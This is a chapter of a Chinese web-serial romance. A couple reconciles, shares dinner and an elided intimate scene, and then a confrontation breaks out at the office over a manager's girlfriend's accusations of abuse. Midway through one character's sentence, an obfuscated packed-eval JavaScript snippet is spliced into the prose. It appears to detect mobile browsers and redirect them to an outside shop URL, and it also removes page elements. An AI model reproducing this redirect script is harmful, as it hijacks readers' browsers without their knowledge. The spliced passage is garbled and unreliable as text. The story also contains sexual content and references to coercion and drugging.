这算是傅珺瑶第一次对他袒露自己的这些心思。 她知道他或多或少能感受出来。 可那个晚上他在车上说过,他想听她说出来。 那她就说个清楚好了。 她所认为的爱,本就是需要有一定的表达的。 闷在心里,只有沉默、让彼此感受得若即若离的爱,根本是劳心费力的无用功,甚至根本称不上爱。 不过幸好,他虽然不常说,但他做得足够明显。 这种让她不用猜忌、怀疑的爱,才是让她最舒适的状态。 其实她也怀疑过,和他在一起不过一个多月,她真的就那么喜欢他吗?真的就忘不掉了吗? 直到后来收到他的那束粉帝王,又和他继续相处下去,她才彻底明白,是因为他足够懂她,能够完全满足她的情感需求。 或许当初在洱南对他的感情的确包含感动,可回来之后,便换了内核。 她确实喜欢他。 既然忘不掉,那得到就好了。 眼前的那双眸子,依稀泛起一丝水光。 连带着喷洒向她的气息,也变得灼热。 傅珺瑶主动抽离他的掌心,两只手同时捧住他的下巴,轻轻吸了吸气,混入那股让她迷恋的气息,声音难得弥漫出几分如水般的温柔:“不管以前发生了什么,现在的你在我心里,就是没人能替代的。” 她顿了顿,眼瞳始终和他交汇。 “哪怕是千千万万个他们,都比不过一个你。” “述述。” 缱绻缠绵的话语被刻意压低了声音,却重重抵进男人心口。 沈述白沉默很久,褐眸来回转动,宽大的手掌稳稳托着她的腰身。 周遭的茶香已经完全消散,鼻息间,只剩他们的味道。 就像…在洱南时那些最纯粹的缠绵。 他点了点头,似是觉得不够,再次重重点头。 安分许久的喉结重新滚动,拖出沉和的嗓音:“当初…是我的问题,如果我没有瞒着你,如果我能跟你好好商量,或许……” 他的话还没说完,唇中一股不轻不重的力量按上,拦截了他后面的所有话语。 傅珺瑶晃了晃下巴,摇头道:“那都过去了。” 很简单的一句话,将他们拉入长久的沉默。 傅珺瑶偏头,胳膊拦紧他的肩背,下巴稳稳搁在他的肩窝。他也瞬间会意,默契地将她抱紧。 - 两人从会议室出来,傅珺瑶对着电梯里的镜子补口红,又递了张纸给沈述白,让他把嘴上的口红印擦干净。 最后把人送到停车场。 临上车前,男人突然伸手,语气客套正经得像是身处隆重的公共场合:“傅总今天的方案和想法都很精妙,又如此周到,我想我们能合作得很愉快。” 傅珺瑶怔了怔,回握上去,又翘了翘手腕,故意学他的正经语气:“应该的,沈总今天也破费了,慢走啊。” 心里却忍不住暗诽:假正经的闷骚怪。 等他上了车,她又靠在车窗旁边,声音跟着安全带卡扣的响动同时落下:“晚上在家等你。” 男人散漫的笑渐渐被升上去的车窗遮挡。 - 傅珺瑶是等聂秘书进来,简单汇报过周锦的情况之后,才下的班。 周少爷也不失她所望,卡点卡得刚刚好下班。 傅珺瑶在凳子边换了平底鞋,临走前,又突然掏出手机,给傅淮湛发了张照片过去。 配字:【周董的儿子都正形起来了,傅总,您未来的地位恐怕不保哦?】 她没等回复,拿着车钥匙走了。 傅珺瑶刚到家,门还没来得及关上,电梯门又开了。 沈述白左手提着一大袋生鲜,右手拿着杯冰淇淋出来。 “你动作挺快嘛。”傅珺瑶伸手去接,还以为他要一会才到。 沈述白只把冰淇淋递给她,说自己提前叫了外送,东西早就备在车箱里了。 “你还有闲去买冰淇淋?”傅珺瑶瞥了眼logo,是她挺喜欢的一家店。 “抹茶?这里面加的什么?”傅珺瑶之前常吃,不过吃的都是朗姆味。 沈述白跟着她进屋,换了鞋,手里的动作也没停,不紧不慢掏出他买好的生鲜,边柔声解释:“布朗尼,他们家固定的抹茶搭配只有红豆、巴旦木和麻薯,这几个你不是都不爱吃?” 傅珺瑶靠着墙,站在他面前,弯唇笑笑,舀了勺送进嘴。 很正宗的抹茶味,绵密松软的布朗尼蛋糕块微甜,中和了抹茶的淡苦。 “品味不错,这个好吃。” 她上前,给他也喂了勺。 沈述白对她这里,也已经算得上轻车熟路。 他在厨房准备食材,她站在一边跟他有一句没一句的聊天,时不时再喂他口冰淇淋。 牛肉切好之后,他把淀粉拿出来,加了点花椒水,伸手轻轻捏着。 傅珺瑶在旁边忽然笑了声。 深褐色的眸穿过暖黄的光线和微凉的冷气,稍稍不解地对上她。 傅珺瑶吞下绵密的抹茶冰淇淋,解释:“我是想到我们在洱南的时候,在萍姐的饭馆里,想象我们在家里是怎么样的,那个时候还在彼此脸上抹淀粉。” 话语出口的同时,过去的那段画面也浮现在脑海。 眸子里多了几分柔软,舌尖轻舔唇中残留的清甜,她继续道:“虽然什么都不记得,但也真的很开心,总能天马行空的去猜测、填补记忆。” 沈述白的动作停下。 温目也留在她的眉眼间,没有移开。 傅珺瑶瞳仁微动,视线聚焦,眸底落进男人稍微沉敛的面色。 以为他要说什么煽情的话,和她一起怀念那个时候。 她暂时沉默,心口隐隐期待攀升。 结果下一秒,男人的话再次证明,是她想错了。 “所以那个时候没给上的奖励吻,现在是不是能兑现一下?” 他挑了挑眉,黑色耳钉完全暴露在暖光下,亮得刺眼。 “……” 傅珺瑶瘪唇:“你倒是还跟那个时候一样不要脸。” 不等他接话,她又继续道:“果然这人失不失忆,本性都不会变。这有些人啊,就是看着正经。” 她连连啧声,指代的意思再明显不过。 可男人一点不介意,甚至顺着她的话,嗯哼了声:“那你也知道,我这人确实不怎么正经,所以提出这么不正经的需求也不奇怪,就算满足一下我这个不正经的需求,也没什么的,你说是吧?” “……” 他又开始诡辩了。 傅珺瑶一时怼不过,搬出旁人来应对:“你哥不是说你们家家教很严吗?你这样沈奶奶不会‘家法伺候’?” 男人把肉腌好,开始切百香果。 不慌不忙回答她:“这是正常的性格,如果这都要家法伺候,那我应该难活到这么大。” 话都问到这,傅珺瑶开始好奇:“我还听说你这个耳钉也是用鞭子换来的,你为什么会打耳洞,双耳就算了,还偏偏是单耳,更闷骚了。” 傅珺瑶倏然侧身凑过去,眯着眼问:“你这不会是情侣耳洞吧?” “……不是,”沈述白很快否认:“就觉得挺特别的,双耳都打没那么特殊,单耳感觉特 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17356978|193223||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 殊,就打了,那会青春期,对什么都觉得新鲜。” “而且我之前没谈过恋爱。”他又补充。 傅珺瑶其实是有些意外的。 “真的假的?”吃完的冰淇淋被她扔进垃圾桶,两手抬到胸前,纠缠在一起。 她还以为他这种性格,至少有过感情经验。 “沈总青春期的新鲜感没在恋爱上啊?” 他抄起勺子,慢慢掏百香果籽。 一股酸甜味漫出来。 男人嘴边扬起弧度,眼尾明显染上笑意。 “傅总好像很在意?” 傅珺瑶直起身。 撅了撅嘴:“也没那么在意。” 百香果籽浸在澄黄的百香果汁液里,酸味更浓。 沈述白嘴角的弧度更深,“的确没有谈过,平时工作、社交接触过的女性确实都很得体都很好,可我觉得感情得遵从内心的第一反应,有感觉的话第一眼就有了,没有就是没有。如果不是真的喜欢,我想也没必要为了恋爱而恋爱。” 傅珺瑶听明白了。 他喜欢一见钟情。 还是个纯情恋爱脑。 跟她在洱南的时候想的差不多。 “那你在洱南对我是第一眼就有感觉?”傅珺瑶直言问出来了。 “……” 男人陡然陷入沉默。 “可你之前讨厌我啊,那第一眼什么感觉?觉得我长相还行,见色起意?”她一个二连问,眉头蹙起,不是很能想通。 男人的动作突然停下来。 他抽了张纸巾,把手擦干净。 温柔的眉眼骤然沉静。 她下意识耸耸肩,不明白他的意思。 “这个问题先留着,等过两天,我再告诉你,好吗?” 他的语气带着明显商量的意味,甚至掺了丝郑重。 傅珺瑶转了转眸,以为他没想好怎么说,应声:“行啊。” 她又主动换了话题:“你们家为什么沈伯伯跟着沈奶奶姓,但是你又跟沈伯伯姓?随母姓不应该姓苏吗?” 沈述白又开始切番茄。 温声解释:“其实既不是随母姓也不是随父姓,我们是随权姓。” 傅珺瑶愣了愣。 他补充:“因为启行姓沈,是我奶奶掌权,如果我们想在启行获得更多便利,姓沈就是最简单的一种办法。” 傅珺瑶突然想起,之前和母亲聊天的时候,她也提过。 那会她问李茗蕤,她和哥哥都是她生的,就该跟妈妈姓,傅臣北也不像是会拒绝随母姓的人,为什么还是让她和傅淮湛姓了傅。 李茗蕤说想为她和傅淮湛铺路,傅老爷子本就是个父权观念很重的老头,还有重男轻女的思想,偏偏傅臣北不在恒璟,恒璟到底是老爷子说了算。 傅珺瑶和傅淮湛作为傅家唯二的后辈,进恒璟几乎是必然,所以当初她和傅臣北也商量过,至少要让老爷子心甘情愿地把权力交给她和傅淮湛。 说来说去,她是得先向权力低头,否则她连入场券都拿不到。 “所以权力真是让人又爱又恨,想得到,就必须得有所牺牲。”傅珺瑶慨道。 她那么想得到实权,就是渴望驾驭的快感,也渴望自己能成为制定规则的人,而不是一直被束缚在别人定义的规则之下,尤其是她不认同的规则。 沈述白把黄瓜切成丁,挑了一块喂给她,眉眼柔和:“至少牺牲过后,我们也得到了。” 这话傅珺瑶很赞同。 她一直在厨房陪着他,和他聊了很多话。 从家庭关系聊到人生理想,又从人生理想聊回生活小事。 傅珺瑶站在料理台边,看着男人熟练地操持着厨具,浓浓的烟火气从锅里冒出,揉进这个再平凡不过的傍晚。 心底一抹难言的柔软渐渐冒出来,她定睛望着他,唇角弯了弯。 - 三菜一汤端上桌,傅珺瑶先站在男人身后,帮他解了围裙。 坐下来之后,男人先帮她盛了酸汤牛肉。 “你什么时候学会的做饭啊?”傅珺瑶顺嘴问了句,手里已经拿着勺子开始吃。 “大学那会。”沈述白又不停给她夹菜:“我妈说得锻炼我和我哥的基本生存技能,不支持我们养尊处优,成什么都不会还要衣来伸手、饭来张口的大少爷。” 傅珺瑶点了点头:“但是你做的饭真的好好吃,在洱南那会我经常以为我是看中了你的厨艺才和你结婚。” 沈述白的动作停顿,双眸深深看了她眼。 “怎么?”傅珺瑶注意到他的视线。 他轻笑,不知道想了些什么,又摇头:“没事。” - 俗话说饱暖思淫//欲,一点都不错。 傅珺瑶吃完晚餐,被沈述白拉着在沙发上休息。 沈述白正忙着回复几个工作邮件,一手从她肩后绕过,把人环住,指尖在手机屏幕上快速敲击。 她轻靠在他怀里,还在放空。 没一会,目光就忍不住往他的领口看。 刚刚因为做饭,他解了领带,又把衬衫扣子松开两颗。 她一抬眼,他若隐若现的锁骨便撞进她眼底。 嘶…… 视线不自觉往下。 说起来,当初在洱南,她还没亲到那一块。 喉嗓忍不住咽了咽。 空调里的凉气簌簌往外冒,沁进皮肤,短暂的凉意扑洒,却很快掀起股燥热。 耳边敲击屏幕的声音不知道什么时候停了下来。 紧接着,潋和的嗓音跟着收紧的怀抱一起落下:“在看什么?” 傅珺瑶猛然一抖。 两颗黑曜石般的眸珠略显慌乱地躲避开。 “没什么。”她一如既往不承认。 头靠着的胸膛轻震了下,很浅的声哼笑跟着溜进耳膜,擦得耳骨有些痒,身体里的燥热更明显。 傅珺瑶咽嗓的频率快了些。 “傅总怎么还是和当初一样,嗯?”男人调侃。 傅珺瑶眼皮上抬,视线精准迎上他的眸光。 唇角轻抿,她清了清嗓:“那你还一样吗?” 一样愿意让她掀衣服。 男人眼皮垂下,睫羽在眼睑下铺了小块阴影。 不深不浅的笑意从他眸底泄出,带了点松散,完全不见正经的踪影。 傅珺瑶搭在他腰腹的手收紧,心脏倏然抽了抽。 就是这种眼神。 就是这种气质。 她很喜欢。 也很向往。 或许是他本就生在氛围比较温馨的家庭里,不太受那种来自于传统的压力和束缚,所以他骨子里带了点反叛和洒脱,只要他想,好似随时都能跳脱框架的约束,随性且自由。 “对你,我不会变。”他的回答紧随而至。 心脏更不安分,在胸腔里大肆泵血,托着她身体里的那股燥热,凶猛地奔向四面八方。 傅珺瑶直接仰头,对准他的唇吻了上去。 沈述白在她迎上来的那一刻便熟练地托稳她的腰,闭着眼回应她。 双唇交叠的一瞬间,屋子里的凉气再也不管用,被灼热的气息浸透。 傅珺瑶顺势攀紧他的脖颈,一个跨步,腰部发力,稳坐在他腿上。 右手抵在他的下巴,张嘴,大肆侵占他的领地,仿佛要把身体里的热意尽数渡给他才肯罢休。 男人熟悉她的路数,默默承受。与此同时,手掌从她的腰间上移,挪到颈后。 轻浅的哼吟绕进躁动不安的冷气里,傅珺瑶手上的动作变急。她没有从吻里抽身,双眸轻闭,手自动下移,去找他的衬衫扣子。 指腹没有任何阻隔的紧贴在她喜欢的那一块。 指尖收紧。 她突然离开他的唇。 两道视线交触,里头的绵丝往外蔓延,铺成悱恻的情网。 迷乱的气息混杂,粗重的呼吸声一阵高过一阵。 她不管不顾,热透的耳边轰动的心跳声被她搁置,从他胸口震出的沉响也被她忽略。 只有他的衬衫。 丝毫不顾皮带的束缚,从腰间撤离。 视觉很快得到了极大满足。 “绷紧。”傅珺瑶轻挤出这两个字。 手掌盖在他的腹前。 男人照做。 那一道道纵横沟壑彻底成型。 傅珺瑶避开他的唇,吻落在他的颈间。 她只在那层薄弱的皮肤上浅吮,离开时,便看到几处清晰的红色印记。 她满意笑了笑。 “你喜欢吗?”问这话时,她直直对上男人蒙上层雾气的褐眸。 沈述白两手托在她的胳膊下,不答反问:“你喜欢吗?” 傅珺瑶没回答,继续动作。 她对准那片玫瑰色,做了她想了很久的事。 吻落下去的那刻,他的躯体明显颤了下,抓着她胳膊的力道更重。 傅珺瑶不满浅尝辄止,动作更大胆。 他的身体逐渐滚热。 她离开,却没停止。 视线落在他的那几块腹肌。 他一直有规律健身,又很爱干净,匀称的肌肉掺杂着几根青筋落进眼底,傅珺瑶只能想到一个词—— 赏心悦目。 她的吻轻轻落在靠近人鱼线的那根青筋上。 男人钳制她的力道更紧,甚至掐得她有些疼。 傅珺瑶双目下瞥,两秒后,回到他脸上。 他的额前沁出了层薄汗,高挺的鼻梁上也冒出几颗小水珠,脸颊潮红,热意从那片琥珀海里钻出来,融进他紊乱的呼吸。 “今晚我们换个学习方式好不好?”傅珺瑶去解他的皮带。 “今晚留下。”她亲了他的耳钉,话语暧昧地伸进他的耳道。 81. [锁] [此章节已锁] 卡扣的声音才响,男人的手蓦然钳制上来,阻断她后面的动作。 傅珺瑶一怔,黑眸轻闪。 她直起身,不解问:“你不想做?” 男人没说话,一个翻身,突然把她放倒在沙发上,夺走主动权,又不等她反应,直直吻上来。 傅珺瑶以为他想主导,暂时迎合他的吻。 可不等她张唇,他又退开。 “……” 她迷蒙睁眼,盯着眼前衣衫不整的男人,眸底隐隐漫出幽怨。 谁家好人亲密起来是这样的? “先等等,今天…不是最好的时候。如果你想,我用别的办法。” 他握住她的手,慢声解释。 傅珺瑶其实有点不懂。 这种事还得专门挑个最好的时候?不应该是随心且顺其自然? 不过她很快想到他在洱南说过的话。 说想让这一切发生得郑重点。 “那去楼上。”她妥协道。 沈述白没有异议,双臂使力,直接把人抱起来,奔着二楼的卧室去。 “你……” 傅珺瑶出声时,被他放下来,两只脚光着站在浴室里的防滑垫上。 “衣服脏,脱都脱了,先洗洗。”沈述白抽了她的腰带,给她解扣子。 怕话语没有说服力,他又补充:“你之前自己说的,我帮你践行。” “……” 她耳根瞬间窜起小火苗,两颗眸珠不安分地在他身上打转。 有点奇怪。 如果真是单纯洗澡,他真能忍住么? 她刚刚都看到了,他已经…… 白色的西装外套被仍在一边。 男人再次开口:“手抬起来。” 指腹停在她的腰间。 更奇怪了。 可她的身体不受控制,自觉抬手。 皮肤一凉,很快,便被滚烫的热意盖过。 耳边的心跳声扑通扑通的,不仅仅是她的,还有他的。 他靠近,褐眸被头顶的暖光一照,披上了层朦胧的浅晖。 他的气息几乎占据她所有的嗅觉细胞,玫瑰色在眼前放大,她只要抬抬下巴,就能再次亲上去。 傅珺瑶本能开始清嗓,越是吞咽嗓间越是干渴。 神迷间,他的手已经绕到背后。 指腹稍微使力,束缚跟着一松。 “……” 不比之前几次她或多或少喝了酒,这次完全是清醒状态,那股本能的羞涩扯得脸颊微微发紧,呼吸降频,肺腔里的二氧化碳浓度越来越高,脸颊烫得她不太受得了。 只是她没阻止男人的动作。 “腿。” 他弓腰,鼻尖在她的肩口轻轻擦过。 傅珺瑶架在他胳膊上的手捏紧,眼眸盯着他的耳钉,以及他红透的耳根,慢慢动作。 “现在该你了。” 等最后的束缚被他扔在衣篓,他站直身子,双目只敢停在她的脸上,气息不稳地说了这么一句。 “什么?”傅珺瑶声音微颤。 男人瞥了眼自己身上的衣服,意思再明显不过。 傅珺瑶再次咽嗓。 闷骚怪就是闷骚怪。 但她本来就打算那么做的。 黑衬衫,扔进她的衣篓。 嘶…… 他之前说的没错,自然给男人的肩膀确实很宽阔。 锁骨一直蔓延到肩外侧,骨关节在那稍微凸出一点点。再往外,顺延而下,流畅的肌肉线条包绕二头三头。 劲儿劲儿的。 这次他没拦着她。 黑色皮带和金色腰带叠在一块。 黑色西装和白色西装混在一团。 手搭在他腰上时,傅珺瑶动作开始犹豫了。 她干这个……挺生疏的。 不过神经没有太安分。 “珺珺,你不敢了?”他的声音完全失了稳重,气息也乱七八糟地跟着话语一起吐出来。 傅珺瑶这人,从来不是服输的主。 尤其是在他面前。 手上的动作一点不拖泥带水,又猛地拖着起伏加快的胸廓站直,顶上他的视线,两秒后,下意识挪开,强撑开口:“谁不敢了……” 话音还没完全落下,他的吻再次叠上来。 头顶的花洒打开,水柱喷涌而下,结结实实地落在皮肉上。 好刺激。 这是傅珺瑶的第一感受。 他的动作完全没有收敛,勾着她,肆意宣泄。 拨开挡住她视线的长发之后,手又挪到她的情绪点。 用她熟悉的方式。 搂着她腰的手突然收紧。 傅珺瑶的脚趾瞬间蜷缩,脚后跟也抬起来些。 “唔……” 他…… …… …… …… …… …… …… “……变态。”傅珺瑶抿了抿嘴。 手倒是很诚实。 …… …… “咱们俩到底谁是变态?”他笑。 “你。”傅珺瑶继续。 沈述白耸耸肩,意味深长地应了句:“嗯,我。” 玻璃门内,香味铺满,地上的泡沫被水流冲进排水口,沈述白弯腰,胳膊勾着傅珺瑶的腿,把人再抱出来。 身上的水珠捻干,腰背贴紧柔软的床。 傅珺瑶等着他躺过来。 可他半跪在床尾,没打算到她身侧。 两手勾起她的那一刻,傅珺瑶几乎瞬间意识到他想做什么。 “你确定?” 她腿往后缩了缩。 胳膊肘撑着上半身悬空,漆黑的瞳仁轻缩。 真要玩这么刺激? “试试哪个更舒服。” 说罢,他彻底俯身。 贴上来的同时,傅珺瑶腰背力量一软,胳膊肘也撑不住,完全倒下去。 很快。 …… …… …… …… 男人短暂离开,喉结滚动,咽了咽嗓。 眼底浮出几分笑意。 “看来是这个比较舒服。” “……变态。” 迷蒙中,她将他的动作收入眼底。 男人一脸不在意:“嗯,我是,你都这么说了,我不做实也太让你失望了。” 他哼笑:“你知道的,我不是那种让你失望的人。” “……” 后面,傅珺瑶大脑混沌得分不清东南西北。 偏偏男人几次询问,她压根不知道自己在说什么。 “这样行吗?” “……” “这样呢?” “……” “我这是第一次学这种,没有反馈怎么能学好呢?” 动作跟着停下来。 “你……” “这样行吗?” “非常行。” “那就是还能超级行。” “……闷骚怪!” …… 傅珺瑶二十多年来,头一回放纵至此。 身体里反应的电流像是约定好一般,同时起作用,真就应了那句:过电般的快//感。 要是下次再试试切实的那种,会不会更刺激? 身体虽然没了力气,脑子却已经想到别处。 “我实在没力气了,帮不了你了,下次吧好不好?”傅珺瑶枕在他的胳膊上,语气懒懒。 他抄起夏凉被,轻轻搭在她身上。 “没关系,等会就好了。”他似乎并没有很在意。 傅珺瑶视线下移,盯着看了两秒。 短暂犹豫,她还是问了出来:“这种如果纯忍,是不是会对身体不好?” 男人静默,空出来的手不自然挠了挠耳根,自己的躯体也掩盖在夏凉被下。 他解释:“偶尔一两次没什么,我身体素质还行。” 话聊到这,傅珺瑶突然好奇:“你以前…自己忍吗?感觉跟我在一起的时候你好像特别能忍。” 上次也是,那会明明是他提出来的睡觉,但最后还是他帮她。 她当时知道他有反应,但他也说冷静会就好了。 在洱南那次就更是了。 他平时看着明明也不像什么忍者,接吻、拥抱完全不少,甚至总是跟她说些不太正经的话。 这样一想,她都要怀疑他有问题了。 “……”男人暂时沉默,似乎是在想怎么回答这个问题。 “我之前听说什么男人过了25就是60了,那你今年27,是没什么需求了?” 不过问完,傅珺瑶又觉得不对,如果真没需求,他应该也没反应。 “……傅珺瑶。”男人慢慢咬出这三个字。 他的话音才落,她瞬间转语:“我乱说的,别生气嘛。” 声音因为还累着没那么有劲,不过仍然能明显听出来讨好的意味。 男人略微凛起来的眉色转瞬柔和下去。 他叹了声气,正经解释:“想忍就能忍得住,一个男人如果连自己的欲望都没办法忍,那跟野兽有什么区别?我只是不想在这个时候耗费时间去疏解欲望,我想和你待在一块。” 傅珺瑶没想到会是这个答案。 心口微动,多巴胺的刺激过去,内啡肽逐渐起效。 那股熟悉的安全感又慢慢回来。 那种觉得自己没有选错人的感觉也跟着攀爬。 只是这种感觉才持续没几秒,他不太正经的语气又回来:“至于我是不是过了25就是60,我不介意等我们做的时候,向你好好证明一下,我是个身心健康、体魄强健的正常男人。” “……” 他甚至刻意咬重‘身心健康、体魄强健’这两个词。 她下次还是谨慎挑衅得好。 只是她突然更好奇:“你以前做过吗?” “……”男人明显被她这话问无语,嘴唇绷紧,腮帮子也跟着鼓了鼓。 她的大名几乎要再从他唇边咬出来。 傅珺瑶像是料到般,提前开口:“我知道你没谈过恋爱,可不是有那些不谈恋爱但不会‘守身如玉’的富家少爷们吗,我就问问。” “在我这里,性//关系至少要建立在健康正常的恋爱关系上,为了性而性,那跟畜生有什么区别。”他的语气略微郑重,话语也更尖锐。 内啡肽的效用更明显。 傅珺瑶抿嘴,唇角扬起抹很浅的弧度,往他怀里靠近了些。 指尖停在他胸口,她又继续问:“那你以前都怎么解决的?靠某些影片?” 毕竟总会有基本的生理需求。 “我不看那些。”男人坦坦荡荡道。 “真的假的?”傅珺瑶稍稍诧异。 他嗯了声:“奶奶对我们限制很严,说那些纯粹为了发泄欲望的影片会影响我们价值观的形成,如果非要靠着那些东西疏解,那正常的欲望就会变得越来越恶俗。” “不过她也没有压制我们正常的反应,青春期那会,她从国外请了专业的性//教育老师来给我和我哥上课,当时先学的是怎么转移欲望,发泄方式很多种,多运动其实就没那么想了。如果实在想,当时我爸给我们买了进口的飞///机///杯,不准用手,说不卫生,不过东西也不准使用太频繁,就这样疏解了。” 他也没隐瞒什么,基本都说了。 她抬眸,直直对上他的视线,眸底一片亮光闪动。 “那玩意舒服吗?”她没忍住,接着问出口。 “……” 沈述白眯起眼,眸子凝着她,好像终于读懂她这一番刨根问底。 他挑眉,语气稍微上扬:“你好像很在意我这方面的生活?” “……” 傅珺瑶迅速避开视线,头颈也往外挪,离远他的胸膛。 她否认:“哪有?我就……好奇而已。” 他明显不信。 “嘶——”短暂的沉默后,他突然起势。 傅珺瑶嘴角抽了抽。 他故弄玄虚:“说起来我这方面的经历还挺精彩的,上性//教育课只是一部分,还有很多其他的……” “还有什么?” 他定睛,勾唇,望着她笑。 “……” 傅珺瑶咬了下舌头。 嘴快了。 “你就是在意。” 他勾手,掌心稳托着她的腰,把她拉回来。 “你就是在意。”他又重复了一次。 “才没有。”她继续否认。 他的胸口一动,嗓间挤出声哼笑,话音延长:“我女朋友应该不是一个敢做不敢当的人吧?她那么坦荡的人,肯定不会的,哦?” “……” 他又学她当初的那招! “我在意我在意我在意行了吧?”傅珺瑶一连重复三遍,继而更加坦荡:“我就在意,和我在一起我当然得考量考量你是不是个洁身自好的人。” 男人唇边的弧度加深,脸贴过来:“那你现在满意了?” 她也不躲,撅嘴:“……还行吧。” “你满意了,是不是也该让我满意满意?” 傅珺瑶怔了怔,很快明白他的意思。 他都坦坦荡荡了,她也没什么好遮遮掩掩的。 “当然也是自给自足,主要是这么多年也没遇到什么喜欢的。” 虽然她有正常的需求,但她也没有找性//伴侣的习惯。无他,就是觉得不干净,她怕沾病。 男人仍然贴着她,被子里的手揽紧她的腰,温柔的语气拖出来几分黏糊:“歇会,去清洗一下,我就回去了。” “回去?”傅珺瑶瞟了眼枕边的手机,时间不早了。 况且他衣服都成那样了,还怎么穿回去? 男人轻点下巴:“我这几天有比较重要的事要处理,没法留宿。” 他都开口,傅珺瑶也不强留。 沈述白正经仍然不过两秒。 头埋进她肩窝,高挺的鼻梁直抵锁骨,被子里的腿牢牢把她缠住。 “我衣服都脏了,穿不了。你给我叫个外送过来,外衫、内衬、长裤都要。” “……”傅珺瑶花了点时间适应他这突如其来的转变,话语里带了几分‘嫌弃’:“你怎么还撒起娇来了?” 手上却已经捞过手机,给人选衣服。 “我可按照我的审美来给你挑了?”傅珺瑶提醒了句,指尖已经加购了好几件衣服。 沈述白嗯了声,没一会,又想起什么,说:“还有内//裤,别忘了。” 微热的气息伴随着他的话语一同落下,傅珺瑶指尖在屏幕上方顿了会,神色稍稍不自然。 “这个你穿什么码数的?” “你不是感受过了吗?” “……” “或者再感受一下?” “……好了我买XL,这肯定够了吧!”傅珺瑶当机立断,迅速下单。 男人却穷追不舍:“傅总真厉害,就是XL。” “……你烦死了!” 闷骚怪!! 傅珺瑶再洗过澡回床上的时候,人已经困得不行。 半睡半醒间,她只听到沈述白在耳边说了句什么,但没听完整。 “再过两天……” - 周五一早。 傅珺瑶站在衣帽间的全身镜前,看着自己的一身衣着。 和那天去见苏津南时穿得很像。 上面一件米白色的真丝衫,搭着条紫色铅笔裙,黑色腰带干净束在腰间,她不紧不慢卡好沈述白送的那对袖扣。 黑色长发简单梳理,披在肩后。素净的脸上简单扑过气垫,浅红茶色的口红稍微提了提气色。 她的眸光从腿上慢慢爬起,最后不偏不倚对上镜子里那双漆黑色的眼瞳。 她保持着这个姿势,一瞬不瞬地盯着黑眸。隐隐的,几分略微强势的凌厉从眸底漫出来,分散的眸光凝集汇聚,她轻抬下巴,收敛的唇角忽然往上弯了弯。 指尖利落地把碎发勾到耳后,拿着包下楼。 - 安静的办公室内,傅珺瑶暂时坐在办公桌旁。 高跟鞋顶得脚跟有些疼,但她依旧无视旁侧舒适的拖鞋,牢牢穿稳。 面前那杯咖啡热意散透,雾气混进她微垂的眸底。 她一口没喝,脑子却足够清醒。 这个姿势不知道维持多久,她骤然挺直腰背,把咖啡推至一侧。 目光定在桌上从未变过的那台相框里。 她记得,那是某次和顾清漪、李茗蕤她们去露营时拍下的。 那是二十三岁的她,一身暖黄色的长裙,长发随意披散。那天的阳光很耀眼,她抬手挡在额前,双眸直直对上镜头,肆意扬唇。 她也记得,那是她最自由的时候,却也是最靠近不自由的时候。 那之后没多久,傅淮湛就离开家了。 浅红的唇微抿,胸廓忽然起伏了下,幅度不大,只足够从鼻腔里挤出声轻哼。 她把视线从相框挪回来,身子往后顶了顶,正欲起身,门外突然一声碎响,伴着声尖锐的叫喊:“周锦,你混蛋!” 傅珺瑶眉心微蹙,动作短暂停滞,不紧不慢起身。 刚理好裙角,聂秘书推门而入,语气稍显急促:“傅总,周锦的女朋友过来跟他闹事了,好在外面的同事都比较有眼力见,没有人围观。” “叫保安了吗?”傅珺瑶往门口瞥了眼,声音没什么波澜。 聂秘书点头:“可再过十分钟董事会就要来大会议室开会了。” 傅珺瑶微顿,黑眸几不可察地缩了缩。 门口周锦微怒的胁迫声传来:“你给我安分点!如果让我爸知道,我让你在圈子里混不下去!” “混不下去就混不下去!你这种人渣,我哪怕一无所有也要让别人知道你的真面目!你骗了我,逼我堕胎!都是因为你,都是因为你我才会染上……” “你给我闭嘴!” 女人的嘶吼被实实捂住,后面的话也没说出来。 傅珺瑶压低声音,朝聂秘书道:“这位小姐好不容易进来一趟,咱们总得让她带点什么走。” 聂秘书微怔。 傅珺瑶挑了挑眉:“咱们的安保可是一群五大三粗的壮汉,三两下就能钳制这位小姐,那她还哪里来的时间带点什么走呢?” 聂秘书瞬时会意:“我明白了。” 傅珺瑶眉眼稍弯,等着聂秘书先出去,才不慌不忙走到门口。 彼时周锦才钳制住女人,一手紧箍她的掌腕,一手死死捂住她的嘴,鼻梁上拱,眉眼挤在一块,怒意几乎藏不住,从眼角和眉心的皱褶迸出来。 见傅珺瑶出来,周锦面色骤僵,脸上的怒气明显收敛,手却没有松开的意思。 傅珺瑶面色平平,双目慢悠悠从地上的玻璃碎渣移到周锦身上,语气淡然:“我已经让聂秘书去叫保安了。” 闻言,周锦脸色彻底松懈,还不忘跟傅珺瑶道声谢。 傅珺瑶没应,慢步走近了些,将视线对准女人,唇边嗤出声冷笑:“这位小姐,来恒璟闹,未免太不自量力了点儿,嗯?” 周锦闻声应语,手掌从女人的嘴边推下来,语气稍微得意:“就是!你当恒璟是什么地方?!跑来这污蔑我,还打扰了傅总,傅总绝对不会放过你!” 女人嘴得了空闲,两颗含着泪的眼珠瞪圆,话语用力喷出来:“你们这群含着金汤匙出生的小姐少爷,一个个都不是好东西!你们这群烂人干的全都是烂事!!不自量力?我不自量力又怎样?!反正我已经被周锦毁了!” 说到一半,她的视线狠狠砍向周锦:“我就算搭上这条命,也一定要你付出代价!!” 傅珺瑶瞥向周锦,他一脸不屑地嗤了声。 “看来周少爷这是钱给的不够啊,没事,我来给,这位小姐要多少,我现在就给你开支票。” 傅珺瑶继续,语气从容依旧,丝毫不在意女人刚刚的骂声。 “我呸!”女人劈头盖脸大吼:“我不稀罕你们的臭钱!我要他也被人注射……” “你疯了吧你!”女人的话再次被挡在周锦的掌心下,他拧眉道:“我警告你,你那事跟我没关系!是你自己非要去跟他们喝酒!” “……不是…你带我去……不会这样!!”女人愤恨的反驳不顾遮挡吼出来。 